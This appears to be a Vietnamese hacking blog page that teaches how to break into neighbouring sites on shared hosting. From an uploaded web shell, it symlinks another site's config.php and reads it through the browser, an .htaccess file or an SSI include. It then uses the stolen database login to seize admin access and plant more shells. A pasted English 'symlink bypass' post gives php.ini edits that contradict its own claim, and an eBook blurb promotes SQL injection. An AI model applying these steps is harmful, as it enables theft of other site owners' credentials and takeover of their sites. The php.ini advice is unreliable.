vd: ta đứng từ site http://dienthoailocal.com/local/shell.php cùng server vớihttp://huynhdegroup.net/@VHB@/ và ta sẽ tạo symlinks tới file config.php của huynhde như sau:
Code:
ls -s /home/huynhde/public_html/@VHB@/includes/config.php 1.txt
-> chạy lệnh này trên shell xong thì ta sẽ có được file 1.txt cùng folder với con shell nếu ta ko đổi thư mục trước khi symlinks.
Lúc này ta có thể xem nội dung của file 1.txt bằng nhiều cách như:
1. Xem trực tiếp bằng lệnh cat hay less: 

Code:
cat 1.txt
less 1.txt
...
2. Xem trực tiếp trên trình duyệt dạng domainshell.com/1.txt
vd: http://dienthoailocal.com/local/shell.php 
sau khi symlink ta sẽ xem như sau 
http://dienthoailocal.com/local/1.txt

Đối với một số server sẽ không cho phép ta xem trực tiếp như trên thì chúng ta sẽ dùng thêm file .htaccessvới nội dung bên dưới để hỗ trợ xem file symlinks:

Code:
Options Indexes FollowSymLinks
DirectoryIndex index.htm
AddType txt .php
AddHandler txt .php
3. Nếu vẫn tiếp tục không xem được thì sẽ có 2 khả năng xảy ra: đó là do server chặn không cho xem và do victim đã chmod phân quyền cho file đó.
+ Đối với việc server chặn không cho xem bằng mod SSI thì chúng ta hay dùng chính SSI để xem file đã symlink bằng cách tạo 1 file SSI có:
- Tên: saocungduoc.shtml
- nội dung:
Code:
<!--#include virtual="1.txt" -->
- Save lại và xem như sau: http://dienthoailocal.com/local/saocungduoc.shtml
Ở trường hợp này thì một số server chúng ta sẽ thấy nó hiện hết nội dung lên liền ở tranghttp://dienthoailocal.com/local/saocungduoc.shtml này.
Tuy nhiên cũng có một số server chúng ta sẽ tháy nó trắng tinh như màng trinh :( lúc này mọi người chịu khó click chuột phải vào chỗ nào trắng nhất và chọn View Source để xem màng trinh nhé =))
- Nếu đã view Source mà không xem được nữa thì chắc nó rơi vào trường hợp bị chmod kỹ hoặc chúng ta symlink bị sai đường dẫn :D

4. Dùng tool để bypass symlink: PHP 5.2.12/5.3.1 symlink() open_basedir bypass



Kết thúc một số phương pháp tạo và xem file config của victim.

8. Có thông tin thì ta connect vào database của victim để chiếm quyền admin và up shell chiếm toàn quyền victim.



Còn những ai thích thì có thể dùng chức năng connect với database trên con shell bằng cách nhập user database, password database và tên database vào rồi connect sau đó dùng câu lệnh query làm gì tùy các bạn.
 

Sym root bypass open port nếu server cho chạy python


Đầu tiên mọi người có thể kiểm tra xem có gói python đc cài trên server chưa
dùng lệnh python -h xem có trả về kết quả gì ko nè.

Nếu có chạy thì tạo đoạn code python sau lưu vào file capuchino.py

 

Bypass Symlink Work 100% By Mauritania Attacker Private!


You can Bypass any server with this method you just need to do some little changes in the following file :

* php.ini

* and bypass suEXEC

For example i have this simple "php.ini" 

safe_mode = Off
disable_functions =
safe_mode_gid = Off
open_basedir = Off
register_globals = on
exec = On
shell_exec = On


Just add these to "disable_functions ="

"ln, cat, popen, pclose, posix_getpwuid, posix_getgrgid, posix_kill, parse_perms, system, dl, passthru, exec, shell_exec, popen, proc_close, proc_get_status, proc_nice, proc_open, escapeshellcmd, escapeshellarg, show_source, posix_mkfifo, mysql_list_dbs, get_current_user, getmyuid, pconnect, link, symlink, pcntl_exec, ini_alter, pfsockopen, leak, apache_child_terminate, posix_kill, posix_setpgid, posix_setsid, posix_setuid, proc_terminate, syslog, fpassthru, stream_select, socket_select, socket_create, socket_create_listen, socket_create_pair, socket_listen, socket_accept, socket_bind, socket_strerror, pcntl_fork, pcntl_signal, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled, pcntl_wifstopped, pcntl_wstopsig, pcntl_wtermsig, openlog, apache_get_modules, apache_get_version, apache_getenv, apache_note, apache_setenv, virtual, chmod, file_upload, delete, deleted, edit, fwrite, cmd, rename, unlink, mkdir, mv, touch, cp, cd, pico"

So our "php.ini" will be like this :

safe_mode = Off
disable_functions = "ln, cat, popen, pclose, posix_getpwuid, posix_getgrgid, posix_kill, parse_perms, system, dl, passthru, exec, shell_exec, popen, proc_close, proc_get_status, proc_nice, proc_open, escapeshellcmd, escapeshellarg, show_source, posix_mkfifo, mysql_list_dbs, get_current_user, getmyuid, pconnect, link, symlink, pcntl_exec, ini_alter, pfsockopen, leak, apache_child_terminate, posix_kill, posix_setpgid, posix_setsid, posix_setuid, proc_terminate, syslog, fpassthru, stream_select, socket_select, socket_create, socket_create_listen, socket_create_pair, socket_listen, socket_accept, socket_bind, socket_strerror, pcntl_fork, pcntl_signal, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled, pcntl_wifstopped, pcntl_wstopsig, pcntl_wtermsig, openlog, apache_get_modules, apache_get_version, apache_getenv, apache_note, apache_setenv, virtual, chmod, file_upload, delete, deleted, edit, fwrite, cmd, rename, unlink, mkdir, mv, touch, cp, cd, pico"
safe_mode_gid = Off
open_basedir = Off
register_globals = on
exec = On
shell_exec = On

Some examples of screenshots in Whm ;)




553067_10151303602567035_1828598650_n

562177_10151303602677035_853140348_n

63909_10151303602817035_1919120495_n
Note: This Method was tested on Ovh & Bluehost servers and it successfully bypassed them!
Follow: http://www.hackerzadda.com/2013/03/bypass-symlink-100.html
 

[eBook] HTML and PHP Tutorials

HTML Web Programming and Designing

HTML (Hyper Text Markup Language) is the web Programming language the most most most useful and useable Web Programming language, Programmer, hacker, developer everyone need to learn HTML. HTML is the Source and Base of all Web Programming languages, If you don't know HTML then you can't learn any Web Programming lang. 

 

PHP + SQL + SQLi Programming

As you know that SQL is a Programming lang. of Database (Structured Query Language) without SQL, we can't login to any website and access our files. SQL is the most useable Pogramming lang. SQL is only use for Database Structuring storing info data. Now PHP (Hypertext Pre-processor or Personal Home Page) PHP is widely used in web applications to connect with Server, Web Applications and SQL DB. PHP is really very useful in Web Programming world, without PHP there could be nothing. Every Hackers need to learn PHP,SQL and SQLI (SQL Injection).
 

Copyright © Dương-UG Blog's - Nguyễn Bình Dương